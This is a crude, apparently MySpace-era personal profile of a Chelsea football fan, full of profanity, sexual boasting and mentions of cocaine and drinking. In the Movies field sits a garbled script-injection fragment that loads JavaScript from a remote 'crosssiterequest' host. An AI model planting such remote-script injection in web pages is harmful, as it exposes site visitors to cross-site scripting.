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chelsea hooligan

i drive the girlies crazy i do it on the daily they treaat me really nicely and buy me loads of ice

About Me

some people call me nick the pimp or fat balloon head that walks with a limp and some people call me pass me the shottie cos nickypusspuss is the number1 hottie and some people call me chicken or duck cos nick is rambo and he's crazy as fuck and some people call me get in my bed cos nicky's on smack and he's off his fuckin head. now that i stopped gettin me badboy lyrics out id just like 2 take the chance to welcome u all to my profile. i thought id change the words 2day. if u know me u know that i am a massivly passionate chelsea fan. i frrrruckin luv my team so much. im so proud to be a chelsea fan. i cant b doin with people who moan and tell me what to do. it really gets my goat when people moan about little things like leaving lights on and not puttin ur knife and fork together! im just like what the fock mate shut ur harsh boombaclat mout! ive got a drink problem. unfortunatly i cant handle my drink. my poor friends...well there always lookin after me! i really should buy them all a box of chocolates 1day and say thank u very much 4 feedin william. i love my friends they r all ace cunts. i think its fair 2 say that im always always there 4 them. i love to swear its fuckin ace swearing innit fuck fuck fuck shit fuckass. people who say there up for anything r fuckin liers cos no one is. i ent up for bein stabbed, i ent up 4 gay sex i ent up 4 cheltenham cruise and i ent up for buyin a tottenham season ticket. i am up 4 a vast majority of shit tho. last year i preffered runnin to takin drugs but i dont run any more instead i get on the wanger. well it is more fun! you will not see me with my hands in my mouth cos thats dirty but u will see me with my hands down my trousers playin with my cock.i duno what pro evo's like cos ive been addicted to fifa 2005 for 2 years now its the only game i play. man utd r scum.so r tottenham and arsenal.i love goin 2 the gym for a good workout and i love going to the toilet 4 a good turnout. id love to go on the x factor becos ive got the x factor. i think big brother needs to have me on their show. my main ambition is to go on big brother. id have to say my most attractive feature is my butt. i enjoy watching porn. ive never caught a fish. i get stressed when i go down sainsburys at lunch when theyve run out of pasties. getting up in the morning is not something i enjoy. i go on this website far too much cos i get bored at work. i like cats easpecially 1s what r fluffy like my cat max. by the way im single and i ent fussy so if u wanna peace of my ass jus hollaaaaaaaaaaaa!!! thank u for listening uv been a great audience.
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My Interests

pheasant shooting, beekeeping, chelsea fc, pissflaps, humps and ladylumps, snorting coke, intoxicating liquor, football, gambling, people, porn, crime,local news, eating out, fucking, blow jobs

I'd like to meet:

chavs, northeners, other chelsea fans, pornstars, lady sovereign, girls aloud, old friends, bikini models, funny people, jose mourinho, people off neighbours, sexy sluts. people who wana come down stroud and get focked up wiv my massiv and people who will let me and my massiv come and av a bubble where they live d'yu get me?......

Music:

80s pop, gangsta rap, uk grime, english hip hop. i will listen 2 anyting. i luv karoake.

Movies:

football factory, kidulthood, friday, lock stock, lockdown, dumb and dumber .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..

Television:

neighbours, match of the day (only when chelsea win. well i spose thats every week anyway!), trailor park boys.

Books:

daily sport

Heroes:

gianfranco zola, ruud gullit, john terry, jenna jameson, jesus, dennis wise, dmx, dan petrescu, frank lebouef, didier drogba, basically anyone whose done well 4 chelsea..